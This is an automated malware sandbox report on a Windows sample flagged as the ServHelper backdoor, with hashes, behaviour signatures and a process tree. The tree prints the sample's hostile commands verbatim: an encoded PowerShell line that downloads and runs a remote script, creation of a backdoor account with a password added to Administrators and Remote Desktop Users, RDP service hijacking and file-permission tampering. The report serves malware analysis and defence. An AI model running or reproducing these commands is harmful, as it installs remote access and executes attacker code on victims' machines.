Analysis
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max time kernel
143s -
max time network
122s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
01/02/2022, 01:00
Static task
static1
Behavioral task
behavioral1
Sample
4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe
Resource
win10v2004-en-20220112
General
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Target
4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe
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Size
4.6MB
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MD5
04eea56890bbc52dca52129a16167964
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SHA1
cb202a349506896aac49ee46ceb8d1c66c23797d
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SHA256
4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150
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SHA512
22703fc48e0c109d02a3e8fc774bcfbe0390d54a19473985235b50ace594de1101de2379daced1a2cd08ff96884099bdf97c39988de6c2c814c40fe23143893c
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1680 powershell.exe 6 1680 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 408 icacls.exe 1060 icacls.exe 964 icacls.exe 1876 icacls.exe 1252 icacls.exe 1764 takeown.exe 1352 icacls.exe 1964 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x00080000000132cc-103.dat upx behavioral1/files/0x0004000000004ed7-104.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1908 Process not Found 1908 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1876 icacls.exe 1252 icacls.exe 1764 takeown.exe 1352 icacls.exe 1964 icacls.exe 408 icacls.exe 1060 icacls.exe 964 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LU5FIBZPNPYP3NLY4B9E.temp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b006014b0717d801 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 916 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1464 powershell.exe 836 powershell.exe 1572 powershell.exe 588 powershell.exe 1464 powershell.exe 1464 powershell.exe 1464 powershell.exe 1680 powershell.exe -
Suspicious behavior: LoadsDriver 4 IoCs
pid Process 468 Process not Found 1908 Process not Found 1908 Process not Found 1908 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1464 powershell.exe Token: SeDebugPrivilege 836 powershell.exe Token: SeDebugPrivilege 1572 powershell.exe Token: SeDebugPrivilege 588 powershell.exe Token: SeRestorePrivilege 1964 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1984 WMIC.exe Token: SeIncreaseQuotaPrivilege 1984 WMIC.exe Token: SeAuditPrivilege 1984 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1984 WMIC.exe Token: SeIncreaseQuotaPrivilege 1984 WMIC.exe Token: SeAuditPrivilege 1984 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1068 WMIC.exe Token: SeIncreaseQuotaPrivilege 1068 WMIC.exe Token: SeAuditPrivilege 1068 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1068 WMIC.exe Token: SeIncreaseQuotaPrivilege 1068 WMIC.exe Token: SeAuditPrivilege 1068 WMIC.exe Token: SeDebugPrivilege 1680 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1668 wrote to memory of 1464 1668 4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe 27 PID 1668 wrote to memory of 1464 1668 4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe 27 PID 1668 wrote to memory of 1464 1668 4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe 27 PID 1464 wrote to memory of 1964 1464 powershell.exe 29 PID 1464 wrote to memory of 1964 1464 powershell.exe 29 PID 1464 wrote to memory of 1964 1464 powershell.exe 29 PID 1964 wrote to memory of 1996 1964 csc.exe 30 PID 1964 wrote to memory of 1996 1964 csc.exe 30 PID 1964 wrote to memory of 1996 1964 csc.exe 30 PID 1464 wrote to memory of 836 1464 powershell.exe 31 PID 1464 wrote to memory of 836 1464 powershell.exe 31 PID 1464 wrote to memory of 836 1464 powershell.exe 31 PID 1464 wrote to memory of 1572 1464 powershell.exe 33 PID 1464 wrote to memory of 1572 1464 powershell.exe 33 PID 1464 wrote to memory of 1572 1464 powershell.exe 33 PID 1464 wrote to memory of 588 1464 powershell.exe 35 PID 1464 wrote to memory of 588 1464 powershell.exe 35 PID 1464 wrote to memory of 588 1464 powershell.exe 35 PID 1464 wrote to memory of 1764 1464 powershell.exe 40 PID 1464 wrote to memory of 1764 1464 powershell.exe 40 PID 1464 wrote to memory of 1764 1464 powershell.exe 40 PID 1464 wrote to memory of 1352 1464 powershell.exe 41 PID 1464 wrote to memory of 1352 1464 powershell.exe 41 PID 1464 wrote to memory of 1352 1464 powershell.exe 41 PID 1464 wrote to memory of 1964 1464 powershell.exe 42 PID 1464 wrote to memory of 1964 1464 powershell.exe 42 PID 1464 wrote to memory of 1964 1464 powershell.exe 42 PID 1464 wrote to memory of 408 1464 powershell.exe 43 PID 1464 wrote to memory of 408 1464 powershell.exe 43 PID 1464 wrote to memory of 408 1464 powershell.exe 43 PID 1464 wrote to memory of 1060 1464 powershell.exe 44 PID 1464 wrote to memory of 1060 1464 powershell.exe 44 PID 1464 wrote to memory of 1060 1464 powershell.exe 44 PID 1464 wrote to memory of 964 1464 powershell.exe 45 PID 1464 wrote to memory of 964 1464 powershell.exe 45 PID 1464 wrote to memory of 964 1464 powershell.exe 45 PID 1464 wrote to memory of 1876 1464 powershell.exe 46 PID 1464 wrote to memory of 1876 1464 powershell.exe 46 PID 1464 wrote to memory of 1876 1464 powershell.exe 46 PID 1464 wrote to memory of 1252 1464 powershell.exe 47 PID 1464 wrote to memory of 1252 1464 powershell.exe 47 PID 1464 wrote to memory of 1252 1464 powershell.exe 47 PID 1464 wrote to memory of 1832 1464 powershell.exe 48 PID 1464 wrote to memory of 1832 1464 powershell.exe 48 PID 1464 wrote to memory of 1832 1464 powershell.exe 48 PID 1464 wrote to memory of 916 1464 powershell.exe 49 PID 1464 wrote to memory of 916 1464 powershell.exe 49 PID 1464 wrote to memory of 916 1464 powershell.exe 49 PID 1464 wrote to memory of 2024 1464 powershell.exe 50 PID 1464 wrote to memory of 2024 1464 powershell.exe 50 PID 1464 wrote to memory of 2024 1464 powershell.exe 50 PID 1464 wrote to memory of 1072 1464 powershell.exe 51 PID 1464 wrote to memory of 1072 1464 powershell.exe 51 PID 1464 wrote to memory of 1072 1464 powershell.exe 51 PID 1072 wrote to memory of 808 1072 net.exe 52 PID 1072 wrote to memory of 808 1072 net.exe 52 PID 1072 wrote to memory of 808 1072 net.exe 52 PID 1464 wrote to memory of 936 1464 powershell.exe 53 PID 1464 wrote to memory of 936 1464 powershell.exe 53 PID 1464 wrote to memory of 936 1464 powershell.exe 53 PID 936 wrote to memory of 1776 936 cmd.exe 54 PID 936 wrote to memory of 1776 936 cmd.exe 54 PID 936 wrote to memory of 1776 936 cmd.exe 54 PID 1776 wrote to memory of 1720 1776 cmd.exe 55
Processes
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C:\Users\Admin\AppData\Local\Temp\4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe"C:\Users\Admin\AppData\Local\Temp\4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hy7ivy0i.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7936.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7926.tmp"4⤵PID:1996
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1572
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:588
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1764
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1352
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1964
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:408
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1060
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:964
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1876
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1252
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1832
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:916
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:2024
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:808
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1776 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1720
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1676
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:828
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:2016
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C:\Windows\system32\net.exenet start TermService5⤵PID:700
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1304
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1500
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:920
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1412
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1164
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1552
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc ae5XQ55u /add1⤵PID:1664
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc ae5XQ55u /add2⤵PID:304
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc ae5XQ55u /add3⤵PID:1208
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:636
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1132
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:984
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD1⤵PID:1876
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD2⤵PID:688
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD3⤵PID:676
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:2000
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1076
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1948
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc ae5XQ55u1⤵PID:1008
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc ae5XQ55u2⤵PID:936
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc ae5XQ55u3⤵PID:2040
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:2016
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1984
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1508
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1068
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:984
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1704
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1680
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